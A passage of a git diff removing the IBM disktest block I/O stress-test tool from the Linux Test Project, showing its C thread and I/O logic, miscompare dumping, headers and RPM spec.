-				target.lba = *(tmpLBA);
-			} else {
-				/*
-				 * we must retry, as we can't start the read, since the write
-				 * has not happened yet.
-				 */
-				target.oper = RETRY;
-			}
-		}
-	} else if ((target.oper == READER) && (args->flags & CLD_FLG_CMPR)
-		   && !blk_written) {
-		/* should have been a random reader, but blk not written, and running with compare, so make me a writer */
-		target.oper = WRITER;
-		args->test_state = SET_OPER_W(args->test_state);
-		/* if we switched to a writer, then we have to check action_in_use again */
-		if ((args->flags & CLD_FLG_LBA_SYNC)
-		    && (action_in_use(env, target))) {
-			target.oper = RETRY;
-		}
-	} else {
-		/* should have been a random writer, but blk already written, so make me a reader */
-		target.oper = READER;
-		args->test_state = SET_OPER_R(args->test_state);
-		/* if we switched to a reader, then no need to check action_in_use again */
-	}
-
-#ifdef _DEBUG
-#ifdef WINDOWS
-	PDBG5(DBUG, args, "%I64d, %I64d, %I64d, %I64d\n", env->wcount,
-	      env->rcount, args->seeks, args->stop_lba);
-#else
-	PDBG5(DBUG, args, "%lld, %lld, %lld, %lld\n", env->wcount, env->rcount,
-	      args->seeks, args->stop_lba);
-#endif
-#endif
-
-	if (target.oper == WRITER) {
-		(env->wcount)++;
-		if ((args->flags & CLD_FLG_LUND))
-			*(pVal1 + OFF_RLBA) = *(pVal1 + OFF_WLBA);
-		*(pVal1 + OFF_WLBA) += (OFF_T) direct *(OFF_T) target.trsiz;
-		if (TST_wFST_TIME(args->test_state))
-			args->test_state = CLR_wFST_TIME(args->test_state);
-		env->lastAction = target;
-		if (args->flags & CLD_FLG_LBA_SYNC) {
-			add_action(env, args, target);
-		}
-	}
-	if (target.oper == READER) {
-		(env->rcount)++;
-		*(pVal1 + OFF_RLBA) += (OFF_T) direct *(OFF_T) target.trsiz;
-		if (TST_rFST_TIME(args->test_state))
-			args->test_state = CLR_rFST_TIME(args->test_state);
-		env->lastAction = target;
-		if (args->flags & CLD_FLG_LBA_SYNC) {
-			add_action(env, args, target);
-		}
-	}
-
-	return target;
-}
-
-void miscompare_dump(const child_args_t * args, const char *data,
-		     const size_t buf_len, OFF_T tPosition, const size_t offset,
-		     mc_func_t oper, const int this_thread_id)
-{
-	FILE *fpDumpFile;
-	char obuff[80];
-
-	obuff[0] = 0;
-	sprintf(obuff, "dump_%d.dat", args->pid);
-	fpDumpFile = fopen(obuff, "a");
-
-	if (oper == EXP) {
-		if (fpDumpFile)
-			fprintf(fpDumpFile, "\n\n\n");
-		if (fpDumpFile)
-			fprintf(fpDumpFile, "Execution string: %s\n",
-				args->argstr);
-		if (fpDumpFile)
-			fprintf(fpDumpFile, "Target: %s\n", args->device);
-		if (fpDumpFile)
-			fprintf(fpDumpFile, DMSTR, this_thread_id, tPosition,
-				tPosition);
-		if (fpDumpFile)
-			fprintf(fpDumpFile, DMOFFSTR, this_thread_id, offset,
-				offset);
-		pMsg(ERR, args, "EXPECTED:\n");
-		if (fpDumpFile)
-			fprintf(fpDumpFile, DMFILESTR, "EXPECTED", args->device,
-				tPosition, offset);
-	} else if (oper == ACT) {
-		pMsg(ERR, args, "ACTUAL:\n");
-		if (fpDumpFile)
-			fprintf(fpDumpFile, DMFILESTR, "ACTUAL", args->device,
-				tPosition, offset);
-	} else if (oper == REREAD) {
-		pMsg(ERR, args, "REREAD ACTUAL:\n");
-		if (fpDumpFile)
-			fprintf(fpDumpFile, DMFILESTR, "REREAD ACTUAL",
-				args->device, tPosition, offset);
-	}
-
-	dump_data(stdout, data, 16, 16, offset, FMT_STR);
-	if (fpDumpFile)
-		dump_data(fpDumpFile, data, buf_len, 16, 0, FMT_STR);
-	if (fpDumpFile)
-		fclose(fpDumpFile);
-}
-
-/*
- * called after all the checks have been made to verify
- * that the io completed successfully.
- */
-void complete_io(test_env_t * env, const child_args_t * args,
-		 const action_t target)
-{
-	unsigned char *wbitmap = (unsigned char *)env->shared_mem + BMP_OFFSET;
-	int i = 0;
-
-	if (target.oper == WRITER) {
-		(env->hbeat_stats.wbytes) += target.trsiz * BLK_SIZE;
-		env->hbeat_stats.wcount++;
-		for (i = 0; i < target.trsiz; i++) {
-			*(wbitmap +
-			  (((target.lba - args->offset - args->start_lba) +
-			    i) / 8)) |=
-		  0x80 >> (((target.lba - args->offset - args->start_lba) + i) %
-			   8);
-		}
-	} else {
-		(env->hbeat_stats.rbytes) += target.trsiz * BLK_SIZE;
-		env->hbeat_stats.rcount++;
-	}
-	if (args->flags & CLD_FLG_LBA_SYNC) {
-		remove_action(env, target);
-	}
-}
-
-/*
-* This function is really the main function for a thread
-* Once here, this function will act as if it
-* were 'main' for that thread.
-*/
-#ifdef WINDOWS
-DWORD WINAPI ChildMain(test_ll_t * test)
-#else
-void *ChildMain(void *vtest)
-#endif
-{
-#ifndef WINDOWS
-	test_ll_t *test = (test_ll_t *) vtest;
-#endif
-
-	child_args_t *args = test->args;
-	test_env_t *env = test->env;
-
-	static int thread_id = 0;
-	int this_thread_id = thread_id++;
-	char *buf1 = NULL, *buffer1 = NULL;	/* 'buf' is the aligned 'buffer' */
-	char *buf2 = NULL, *buffer2 = NULL;	/* 'buf' is the aligned 'buffer' */
-	unsigned long ulLastError;
-	unsigned long delayTime;
-
-	action_t target = { NONE, 0, 0 };
-	unsigned int i;
-	OFF_T ActualBytePos = 0, TargetBytePos = 0, mask = 1, delayMask = 1;
-	long tcnt = 0;
-	int exit_code = 0, rv = 0;
-	char filespec[DEV_NAME_LEN];
-	fd_t fd;
-
-	unsigned int retries = 0;
-	BOOL is_retry = FALSE;
-	lvl_t msg_level = WARN;
-	int SET_CHAR = 0;	/* when data buffers are cleared, using memset, use this */
-
-	extern unsigned long glb_flags;
-	extern unsigned short glb_run;
-	extern int signal_action;
-
-#ifdef WINDOWS
-	HANDLE MutexMISCOMP;
-
-	if ((MutexMISCOMP = OpenMutex(SYNCHRONIZE, TRUE, "gbl")) == NULL) {
-		pMsg(ERR, args,
-		     "Thread %d: Failed to open semaphore, error = %u\n",
-		     this_thread_id, GetLastError());
-		args->test_state = SET_STS_FAIL(args->test_state);
-		TEXIT(GETLASTERROR());
-	}
-#else
-	static pthread_mutex_t MutexMISCOMP = PTHREAD_MUTEX_INITIALIZER;
-#endif
-
-	/*
-	 * For some messages, the error level will change, based on if
-	 * the test should continue on error, or stop on error.
-	 */
-	if ((args->flags & CLD_FLG_ALLDIE) || (glb_flags & GLB_FLG_KILL)) {
-		msg_level = ERR;
-	}
-
-	target.oper = TST_OPER(args->test_state);
-
-	strncpy(filespec, args->device, DEV_NAME_LEN);
-
-	fd = Open(filespec, args->flags);
-	if (INVALID_FD(fd)) {
-		pMsg(ERR, args, "Thread %d: could not open %s, errno = %u.\n",
-		     this_thread_id, args->device, GETLASTERROR());
-		args->test_state = SET_STS_FAIL(args->test_state);
-		TEXIT((uintptr_t) GETLASTERROR());
-	}
-
-	/* Create aligned memory buffers for sending IO. */
-	if ((buffer1 =
-	     (char *)ALLOC(((args->htrsiz * BLK_SIZE) + ALIGNSIZE))) == NULL) {
-		pMsg(ERR, args,
-		     "Thread %d: Memory allocation failure for IO buffer, errno = %u\n",
-		     this_thread_id, GETLASTERROR());
-		args->test_state = SET_STS_FAIL(args->test_state);
-		CLOSE(fd);
-		TEXIT((uintptr_t) GETLASTERROR());
-	}
-	memset(buffer1, SET_CHAR, ((args->htrsiz * BLK_SIZE) + ALIGNSIZE));
-	buf1 = (char *)BUFALIGN(buffer1);
-
-	if ((buffer2 =
-	     (char *)ALLOC(((args->htrsiz * BLK_SIZE) + ALIGNSIZE))) == NULL) {
-		pMsg(ERR, args,
-		     "Thread %d: Memory allocation failure for IO buffer, errno = %u\n",
-		     this_thread_id, GETLASTERROR());
-		FREE(buffer1);
-		args->test_state = SET_STS_FAIL(args->test_state);
-		CLOSE(fd);
-		TEXIT((uintptr_t) GETLASTERROR());
-	}
-	memset(buffer2, SET_CHAR, ((args->htrsiz * BLK_SIZE) + ALIGNSIZE));
-	buf2 = (char *)BUFALIGN(buffer2);
-
-	/*  set up lba mask of all 1's with value between vsiz and 2*vsiz */
-	while (mask <= (args->stop_lba - args->start_lba)) {
-		mask = mask << 1;
-	}
-	mask -= 1;
-
-	/*  set up delay mask of all 1's with value between delayTimeMin and 2*delayTimeMax */
-	while (delayMask <= (args->delayTimeMax - args->delayTimeMin)) {
-		delayMask = delayMask << 1;
-	}
-	delayMask -= 1;
-
-	while (env->bContinue) {
-		if (!is_retry) {
-			retries = args->retries;
-#ifdef _DEBUG
-			PDBG5(DBUG, args,
-			      "Thread %d: lastAction: oper: %d, lba: %lld, trsiz: %ld\n",
-			      this_thread_id, target.oper, target.lba,
-			      target.trsiz);
-#endif
-			do {
-				if (signal_action & SIGNAL_STOP) {
-					break;
-				}	/* user request to stop */
-				if (glb_run == 0) {
-					break;
-				}	/* global request to stop */
-				LOCK(env->mutexs.MutexACTION);
-				target = get_next_action(args, env, mask);
-				UNLOCK(env->mutexs.MutexACTION);
-				/* this thread has to retry, so give up the reset of my time slice */
-				if (target.oper == RETRY) {
-					Sleep(0);
-				}
-			} while ((env->bContinue) && (target.oper == RETRY));	/* we failed to get an action, and were asked to retry */
-
-#ifdef _DEBUG
-			PDBG5(DBUG, args,
-			      "Thread %d: nextAction: oper: %d, lba: %lld, trsiz: %ld\n",
-			      this_thread_id, target.oper, target.lba,
-			      target.trsiz);
-#endif
-
-			/*
-			 * Delay delayTime msecs before continuing, for simulated
-			 * processing time, requested by user
-			 */
-
-			if (args->delayTimeMin == args->delayTimeMax) {	/* static delay time */
-				/* only sleep if delay is greater then zero */
-				if (args->delayTimeMin > 0) {
-					Sleep(args->delayTimeMin);
-				}
-			} else {	/* random delay time between min & max */
-				do {
-					delayTime =
-					    (unsigned long)(rand() & delayMask)
-					    + args->delayTimeMin;
-				} while (delayTime > args->delayTimeMax);
-#ifdef _DEBUG
-				PDBG3(DBUG, args,
-				      "Thread %d: Delay time = %lu\n",
-				      this_thread_id, delayTime);
-#endif
-				Sleep(delayTime);
-			}
-		}
-#ifdef _DEBUG
-		if (target.oper == NONE) {	/* nothing left to do */
-			PDBG3(DBUG, args,
-			      "Thread %d: Setting break, oper is NONE\n",
-			      this_thread_id);
-		}
-#endif
-
-		if (target.oper == NONE) {
-			break;
-		}		/* nothing left so stop */
-		if (signal_action & SIGNAL_STOP) {
-			break;
-		}		/* user request to stop */
-		if (env->bContinue == FALSE) {
-			break;
-		}		/* internal request to stop */
-		if (glb_run == 0) {
-			break;
-		}
-		/* global request to stop */
-		TargetBytePos = (OFF_T) (target.lba * BLK_SIZE);
-		ActualBytePos = Seek(fd, TargetBytePos);
-		if (ActualBytePos != TargetBytePos) {
-			ulLastError = GETLASTERROR();
-			pMsg(msg_level, args, SFSTR, this_thread_id,
-			     (target.oper ==
-			      WRITER) ? (env->wcount) : (env->rcount),
-			     target.lba, TargetBytePos, ActualBytePos,
-			     ulLastError);
-			if (retries-- > 1) {	/* request to retry on error, decrement retry */
-				pMsg(INFO, args,
-				     "Thread %d: Retry after seek failure, retry count: %u\n",
-				     this_thread_id, retries);
-				is_retry = TRUE;
-				Sleep(args->retry_delay);
-			} else {
-				exit_code = SEEK_FAILURE;
-				is_retry = FALSE;
-				LOCK(env->mutexs.MutexACTION);
-				update_test_state(args, env, this_thread_id, fd,
-						  buf2);
-				decrement_io_count(args, env, target);
-				UNLOCK(env->mutexs.MutexACTION);
-			}
-			continue;
-		}
-
-		if (target.oper == WRITER) {
-			if (args->flags & CLD_FLG_LPTYPE) {
-				fill_buffer(buf2, target.trsiz, &(target.lba),
-					    sizeof(OFF_T), CLD_FLG_LPTYPE);
-			} else {
-				memcpy(buf2, env->data_buffer,
-				       target.trsiz * BLK_SIZE);
-			}
-			if (args->flags & CLD_FLG_MBLK) {
-				mark_buffer(buf2, target.trsiz * BLK_SIZE,
-					    &(target.lba), args, env);
-			}
-#ifdef _DEBUG
-			setStartTime();
-#endif
-			if (args->flags & CLD_FLG_IO_SERIAL) {
-				LOCK(env->mutexs.MutexIO);
-				tcnt = Write(fd, buf2, target.trsiz * BLK_SIZE);
-				UNLOCK(env->mutexs.MutexIO);
-			} else {
-				tcnt = Write(fd, buf2, target.trsiz * BLK_SIZE);
-			}
-
-#ifdef _DEBUG
-			setEndTime();
-			PDBG5(DBUG, args, "Thread %d: I/O Time: %ld usecs\n",
-			      this_thread_id, getTimeDiff());
-#endif
-			if (args->flags & CLD_FLG_WFSYNC) {
-				rv = 0;
-				/* if need to sync, then only have one thread do it */
-				LOCK(env->mutexs.MutexACTION);
-				if (0 ==
-				    (env->hbeat_stats.wcount %
-				     args->sync_interval)) {
-#ifdef _DEBUG
-					PDBG3(DBUG, args,
-					      "Thread %d: Performing sync, write IO count %llu\n",
-					      this_thread_id,
-					      env->hbeat_stats.wcount);
-#endif
-					rv = Sync(fd);
-					if (0 != rv) {
-						exit_code = GETLASTERROR();
-						pMsg(msg_level, args,
-						     "Thread %d: fsync error = %d\n",
-						     this_thread_id, exit_code);
-						is_retry = FALSE;
-						update_test_state(args, env,
-								  this_thread_id,
-								  fd, buf2);
-						decrement_io_count(args, env,
-								   target);
-					}
-				}
-				UNLOCK(env->mutexs.MutexACTION);
-
-				if (0 != rv) {	/* sync error, so don't count the write */
-					continue;
-				}
-			}
-		}
-
-		if (target.oper == READER) {
-			memset(buf1, SET_CHAR, target.trsiz * BLK_SIZE);
-#ifdef _DEBUG
-			setStartTime();
-#endif
-			if (args->flags & CLD_FLG_IO_SERIAL) {
-				LOCK(env->mutexs.MutexIO);
-				tcnt = Read(fd, buf1, target.trsiz * BLK_SIZE);
-				UNLOCK(env->mutexs.MutexIO);
-			} else {
-				tcnt = Read(fd, buf1, target.trsiz * BLK_SIZE);
-			}
-#ifdef _DEBUG
-			setEndTime();
-			PDBG5(DBUG, args, "Thread %d: I/O Time: %ld usecs\n",
-			      this_thread_id, getTimeDiff());
-#endif
-		}
-
-		if (tcnt != (long)target.trsiz * BLK_SIZE) {
-			ulLastError = GETLASTERROR();
-			pMsg(msg_level, args, AFSTR, this_thread_id,
-			     (target.oper) ? "Read" : "Write",
-			     (target.oper) ? (env->rcount) : (env->wcount),
-			     target.lba, target.lba, tcnt,
-			     target.trsiz * BLK_SIZE, ulLastError);
-			if (retries-- > 1) {	/* request to retry on error, decrement retry */
-				pMsg(INFO, args,
-				     "Thread %d: Retry after transfer failure, retry count: %u\n",
-				     this_thread_id, retries);
-				is_retry = TRUE;
-				Sleep(args->retry_delay);
-			} else {
-				exit_code = ACCESS_FAILURE;
-				is_retry = FALSE;
-				LOCK(env->mutexs.MutexACTION);
-				update_test_state(args, env, this_thread_id, fd,
-						  buf2);
-				decrement_io_count(args, env, target);
-				UNLOCK(env->mutexs.MutexACTION);
-			}
-			continue;
-		}
-
-		/* data compare routine.  Act as if we were to write, but just compare */
-		if ((target.oper == READER) && (args->flags & CLD_FLG_CMPR)) {
-			/* This is very SLOW!!! */
-			if ((args->cmp_lng == 0)
-			    || (args->cmp_lng > target.trsiz * BLK_SIZE)) {
-				args->cmp_lng = target.trsiz * BLK_SIZE;
-			}
-			if (args->flags & CLD_FLG_LPTYPE) {
-				fill_buffer(buf2, target.trsiz, &(target.lba),
-					    sizeof(OFF_T), CLD_FLG_LPTYPE);
-			} else {
-				memcpy(buf2, env->data_buffer,
-				       target.trsiz * BLK_SIZE);
-			}
-			if (args->flags & CLD_FLG_MBLK) {
-				mark_buffer(buf2, target.trsiz * BLK_SIZE,
-					    &(target.lba), args, env);
-			}
-			if (memcmp(buf2, buf1, args->cmp_lng) != 0) {
-				/* data miscompare, this takes lots of time, but its OK... !!! */
-				LOCK(MutexMISCOMP);
-				pMsg(ERR, args, DMSTR, this_thread_id,
-				     target.lba, target.lba);
-				/* find the actual byte that started the miscompare */
-				for (i = 0; i < args->htrsiz * BLK_SIZE; i++) {
-					if (*(buf2 + i) != *(buf1 + i)) {
-						pMsg(ERR, args, DMOFFSTR,
-						     this_thread_id, i, i);
-						break;
-					}
-				}
-				miscompare_dump(args, buf2,
-						args->htrsiz * BLK_SIZE,
-						target.lba, i, EXP,
-						this_thread_id);
-				miscompare_dump(args, buf1,
-						args->htrsiz * BLK_SIZE,
-						target.lba, i, ACT,
-						this_thread_id);
-				/* perform a reread of the target, if requested */
-				if (args->flags & CLD_FLG_ERR_REREAD) {
-					ActualBytePos = Seek(fd, TargetBytePos);
-					if (ActualBytePos == TargetBytePos) {
-						memset(buf1, SET_CHAR,
-						       target.trsiz * BLK_SIZE);
-#ifdef _DEBUG
-						setStartTime();
-#endif
-						tcnt =
-						    Read(fd, buf1,
-							 target.trsiz *
-							 BLK_SIZE);
-#ifdef _DEBUG
-						setEndTime();
-						PDBG5(DBUG, args,
-						      "Thread %d: ReRead I/O Time: %ld usecs\n",
-						      this_thread_id,
-						      getTimeDiff());
-#endif
-						if (tcnt !=
-						    (long)target.trsiz *
-						    BLK_SIZE) {
-							pMsg(ERR, args,
-							     "Thread %d: ReRead after data miscompare failed on transfer.\n",
-							     this_thread_id);
-							pMsg(ERR, args, AFSTR,
-							     this_thread_id,
-							     "ReRead",
-							     (target.
-							      oper) ? (env->
-								       rcount)
-							     : (env->wcount),
-							     target.lba,
-							     target.lba, tcnt,
-							     target.trsiz *
-							     BLK_SIZE);
-						}
-						miscompare_dump(args, buf1,
-								args->htrsiz *
-								BLK_SIZE,
-								target.lba, i,
-								REREAD,
-								this_thread_id);
-					} else {
-						pMsg(ERR, args,
-						     "Thread %d: ReRead after data miscompare failed on seek.\n",
-						     this_thread_id);
-						pMsg(ERR, args, SFSTR,
-						     this_thread_id,
-						     (target.oper ==
-						      WRITER) ? (env->
-								 wcount)
-						     : (env->rcount),
-						     target.lba, TargetBytePos,
-						     ActualBytePos);
-					}
-				}
-				UNLOCK(MutexMISCOMP);
-
-				exit_code = DATA_MISCOMPARE;
-				is_retry = FALSE;
-				LOCK(env->mutexs.MutexACTION);
-				update_test_state(args, env, this_thread_id, fd,
-						  buf2);
-				decrement_io_count(args, env, target);
-				UNLOCK(env->mutexs.MutexACTION);
-				continue;
-			}
-		}
-
-		/* update stats, bitmap, and release LBA */
-		LOCK(env->mutexs.MutexACTION);
-		complete_io(env, args, target);
-		UNLOCK(env->mutexs.MutexACTION);
-
-		is_retry = FALSE;
-	}
-
-#ifdef _DEBUG
-#ifdef _DEBUG_PRINTMAP
-	LOCK(env->mutexs.MutexACTION);
-	print_lba_bitmap(env);
-	UNLOCK(env->mutexs.MutexACTION);
-#endif
-#endif
-
-	FREE(buffer1);
-	FREE(buffer2);
-
-	if ((args->flags & CLD_FLG_W) && !(args->flags & CLD_FLG_RAW)) {
-#ifdef _DEBUG
-		PDBG5(DBUG, args, "Thread %d: starting sync\n", this_thread_id);
-#endif
-		if (Sync(fd) < 0) {	/* just sync, should not matter the device type */
-			exit_code = GETLASTERROR();
-			pMsg(ERR, args, "Thread %d: fsync error = %d\n",
-			     this_thread_id, exit_code);
-			args->test_state = SET_STS_FAIL(args->test_state);
-		}
-#ifdef _DEBUG
-		PDBG5(DBUG, args, "Thread %d: finished sync\n", this_thread_id);
-#endif
-	}
-
-	if (CLOSE(fd) < 0) {	/* check return status on close */
-		exit_code = GETLASTERROR();
-		pMsg(ERR, args, "Thread %d: close error = %d\n", this_thread_id,
-		     exit_code);
-		args->test_state = SET_STS_FAIL(args->test_state);
-	}
-
-	TEXIT((uintptr_t) exit_code);
-}
diff --git a/testcases/kernel/io/disktest/childmain.h b/testcases/kernel/io/disktest/childmain.h
deleted file mode 100644
index 83679a6..0000000
--- a/testcases/kernel/io/disktest/childmain.h
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: childmain.h,v 1.7 2008/03/24 10:33:53 subrata_modak Exp $
-*
-*/
-
-#ifndef _CHILDMAIN_H
-#define _CHILDMAIN_H 1
-
-#define SEEK_FAILURE	1
-#define ACCESS_FAILURE	2
-#define DATA_MISCOMPARE	3
-
-typedef enum mc_func {
-	EXP,ACT,REREAD
-} mc_func_t;
-
-#define DMOFFSTR "Thread %d: First miscompare at byte offset %zd (0x%zX)\n"
-
-#ifdef WINDOWS
-#define DMSTR "Thread %d: Data miscompare at lba %I64d (0x%I64X)\n"
-#define AFSTR "Thread %d: %s failed: seek %I64u, lba %I64u (0x%I64X), got = %ld, asked for = %ld, errno %lu\n"
-#define SFSTR "Thread %d: seek failed seek %I64d, lba = %I64d, request pos = %I64d, seek pos = %I64d, errno %lu\n"
-#define DMFILESTR "\n********** %s (Target: %s, LBA: %I64d, Offset: %d) **********\n"
-DWORD WINAPI ChildMain(test_ll_t *);
-#else
-#define DMSTR "Thread %d: Data miscompare at lba %lld (0x%llX)\n"
-#define AFSTR "Thread %d: %s failed: seek %llu, lba %lld (0x%llX), got = %ld, asked for = %ld, errno %lu\n"
-#define SFSTR "Thread %d: seek failed seek %lld, lba = %lld, request pos = %lld, seek pos = %lld, errno %lu\n"
-#define DMFILESTR "\n********** %s (Target: %s, LBA: %lld, Offset: %zd) **********\n"
-void *ChildMain(void *);
-#endif
-
-#endif /* _CHILDMAIN_H */
-
diff --git a/testcases/kernel/io/disktest/defs.h b/testcases/kernel/io/disktest/defs.h
deleted file mode 100644
index 97bd7d1..0000000
--- a/testcases/kernel/io/disktest/defs.h
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
- * Disktest
- * Copyright (c) International Business Machines Corp., 2001
- *
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
- *
- *  Please send e-mail to yardleyb@us.ibm.com if you have
- *  questions or comments.
- *
- *
- * $Id: defs.h,v 1.5 2008/02/14 08:22:22 subrata_modak Exp $
- * $Log: defs.h,v $
- * Revision 1.5  2008/02/14 08:22:22  subrata_modak
- * Disktest application update to version 1.4.2, by, Brent Yardley <yardleyb@us.ibm.com>
- *
- * Revision 1.5  2006/04/21 23:10:43  yardleyb
- * Major updates for v1_3_3 of disktest.  View README for details.
- *
- * Revision 1.4  2005/10/12 23:13:35  yardleyb
- * Updates to code to support new function in disktest version 1.3.x.
- * Actual changes are recorded in the README
- *
- * Revision 1.3  2002/03/30 01:32:14  yardleyb
- * Major Changes:
- *
- * Added Dumping routines for
- * data miscompares,
- *
- * Updated performance output
- * based on command line.  Gave
- * one decimal in MB/s output.
- *
- * Rewrote -pL IO routine to show
- * correct stats.  Now show pass count
- * when using -C.
- *
- * Minor Changes:
- *
- * Code cleanup to remove the plethera
- * if #ifdef for windows/unix functional
- * differences.
- *
- * Revision 1.2  2002/02/21 19:37:34  yardleyb
- * Added license and header info
- *
- * Revision 1.1  2001/12/04 18:52:33  yardleyb
- * Checkin of new source files and removal
- * of outdated source
- *
- */
-#ifndef _DEFS_H
-#define _DEFS_H 1
-
-#include "sys/types.h"
-
-#ifdef WINDOWS
-#include <windows.h>
-#define ALLOC(size) HeapAlloc(GetProcessHeap(), 0, size)
-#define RESIZE(mem, size) HeapReAlloc(GetProcessHeap(), 0, mem, size)
-#define FREE(mem) HeapFree(GetProcessHeap(), 0, mem)
-#define GETPID()	_getpid()
-#define GETLASTERROR() GetLastError()
-#define INVALID_FD(fd) (fd == INVALID_HANDLE_VALUE)
-
-typedef __int64 OFF_T;
-typedef int pid_t;
-
-#else
-#include <stdlib.h>
-#define ALLOC(size) malloc(size)
-#define RESIZE(mem, size) realloc(mem, size)
-#define FREE(mem) free(mem)
-
-#define GETPID()	getpid()
-#define GETLASTERROR() errno
-#define INVALID_FD(fd) (fd == -1)
-
-#define TRUE 1
-#define FALSE 0
-
-typedef int BOOL;
-typedef void * HANDLE;
-
-/* typedef off_t OFF_T; */
-typedef long long int OFF_T;
-
-#endif /* WINDOWS */
-
-typedef enum op {
-	WRITER,READER,NONE,RETRY
-} op_t;
-
-typedef struct action {
-	op_t    oper;
-	unsigned long trsiz;
-	OFF_T   lba;
-} action_t;
-
-#endif /* _DEFS_H */
-
-
diff --git a/testcases/kernel/io/disktest/disktest.spec b/testcases/kernel/io/disktest/disktest.spec
deleted file mode 100644
index 646dbe0..0000000
--- a/testcases/kernel/io/disktest/disktest.spec
+++ /dev/null
@@ -1,51 +0,0 @@
-Summary: Test tool for driving IO to block, raw, filesystem targets
-Name: disktest
-Version: v1.4.1
-Vendor: IBM Corp.
-Release: 1
-Copyright: GPL
-Group: Applications/System
-BuildRoot: /tmp/%{name}-buildroot
-Source: disktest-%{version}.tar.gz
-Requires: man rpm
-
-%description
-This package provides the disk testing utility for performing IO testing to
-block, raw, and filesystem targets.
-
-Authors:
---------
-    Brent Yardley <yardleyb@us.ibm.com>
-
-
-%prep
-RPM_SOURCE_DIR="~/work/SOURCES"
-%setup
-make all-clean
-
-%build
-make RPM_OPT_FLAGS="$RPM_OPT_FLAGS"
-
-%install
-[ "$RPM_BUILD_ROOT" != "/" ] && [ -d $RPM_BUILD_ROOT ] && rm -rf $RPM_BUILD_ROOT;
-rm -rf $RPM_BUILD_ROOT
-mkdir -p $RPM_BUILD_ROOT/usr/bin
-mkdir -p $RPM_BUILD_ROOT/usr/man/man1
-
-install -m 775 disktest $RPM_BUILD_ROOT/usr/bin
-install -m 775 man1/disktest.1.gz $RPM_BUILD_ROOT/usr/man/man1
-
-%clean
-rm -rf $RPM_BUILD_ROOT
-
-%files
-%defattr(-,root,root)
-%doc README LICENSE CHANGELOG
-/usr/bin/disktest
-/usr/man/man1/disktest.1.gz
-
-%changelog
-* Tue Oct 19 2006 Brent Yardley <yardleyb@us.ibm.com>
-- Added signal handlers
-* Tue Jun 13 2006 Brent Yardley <yardleyb@us.ibm.com>
-- First rpm package build
diff --git a/testcases/kernel/io/disktest/dump.c b/testcases/kernel/io/disktest/dump.c
deleted file mode 100644
index 4c38311..0000000
--- a/testcases/kernel/io/disktest/dump.c
+++ /dev/null
@@ -1,222 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: dump.c,v 1.7 2009/02/26 12:02:22 subrata_modak Exp $
-*
-*/
-#include <stdio.h>		/* *printf() */
-#include <string.h>		/* memset(), strn***() */
-#include <ctype.h>		/* isprint() */
-#include <stdlib.h>		/* malloc(), free() */
-
-#include "defs.h"
-#include "io.h"
-#include "sfunc.h"
-#include "dump.h"
-
-int format_str(size_t iBytes, const char *ibuff, size_t ibuff_siz, char *obuff,
-	       size_t obuff_siz)
-{
-	unsigned int i;
-	char buff[10];
-	static size_t TotalBytes = 0;
-
-	if ((iBytes == 0) &&
-	    (ibuff == NULL) && (ibuff_siz == 0) &&
-	    (obuff == NULL) && (obuff_siz == 0)) {
-		TotalBytes = 0;
-		return 0;
-	}
-
-	if ((ibuff == NULL) || (obuff == NULL) || (iBytes < 1))
-		return -1;
-
-	memset(obuff, 0, obuff_siz);
-	sprintf(buff, "%08lX", (long)TotalBytes);
-	strncat(obuff, buff, (obuff_siz - 1) - strlen(obuff));
-	for (i = 0; i < iBytes; i++) {
-		if ((i % 4) == 0)
-			strncat(obuff, " ", (obuff_siz - 1) - strlen(obuff));
-		if ((i % 8) == 0)
-			strncat(obuff, " ", (obuff_siz - 1) - strlen(obuff));
-		sprintf(buff, "%02X ", *(ibuff + i));
-		strncat(obuff, buff, (obuff_siz - 1) - strlen(obuff));
-	}
-	for (; i < ibuff_siz; i++) {
-		if ((i % 4) == 0)
-			strncat(obuff, " ", (obuff_siz - 1) - strlen(obuff));
-		if ((i % 8) == 0)
-			strncat(obuff, " ", (obuff_siz - 1) - strlen(obuff));
-		strncat(obuff, "   ", (obuff_siz - 1) - strlen(obuff));
-	}
-	strncat(obuff, " ", (obuff_siz - 1) - strlen(obuff));
-	for (i = 0; i < iBytes; i++) {
-		sprintf(buff, "%c",
-			(isprint(*(ibuff + i))) ? *(ibuff + i) : '.');
-		strncat(obuff, buff, (obuff_siz - 1) - strlen(obuff));
-	}
-	TotalBytes += iBytes;
-	return 0;
-}
-
-int format_raw(size_t iBytes, const char *ibuff, char *obuff, size_t obuff_siz)
-{
-	unsigned int i;
-	char buff[10];
